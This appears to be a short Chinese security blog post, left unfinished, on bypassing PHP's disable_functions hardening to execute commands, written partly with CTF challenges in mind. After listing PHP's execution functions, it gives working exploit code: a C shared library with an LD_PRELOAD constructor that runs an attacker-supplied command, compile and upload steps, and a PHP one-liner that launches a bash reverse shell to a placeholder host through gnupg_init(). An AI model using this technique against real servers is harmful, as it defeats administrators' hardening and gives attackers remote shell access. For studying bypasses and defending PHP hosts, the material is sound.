0%

php绕过disable函数进行命令执行

简述

命令执行一般都用php自带的函数来进行执行,但是很多时候运维或者搞安全的会禁用这些用不到的函数来加固,包括一些CTF也是禁用一些函数来考察你的绕过能力,这时候就需要你对常见的函数绕过进行一些了解,本文就是总结下php在所有自带命令执行函数被禁后的其他操作.

常见的自带系统命令执行函数

1
2
3
4
5
6
7
8
9
` ` //反引号
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

使用LD_PRELOAD 绕过

gnupg扩展

如果看到phpinfo中有gnupg苦熬站,说明可以使用gpg加密,gnupg拓展下的gnupg_init() 函数 可以进行命令执行 bypass

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}

本地把以上代码生成 exp.so, gcc --share -fPIC exp.c -o exp.so
然后上传文件到 /tmp/exp.so
通过php代码进行利用

1
<?phpputenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

这样就可以反弹shell了.

——————————————————————–未完待续——————————————————————————–


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」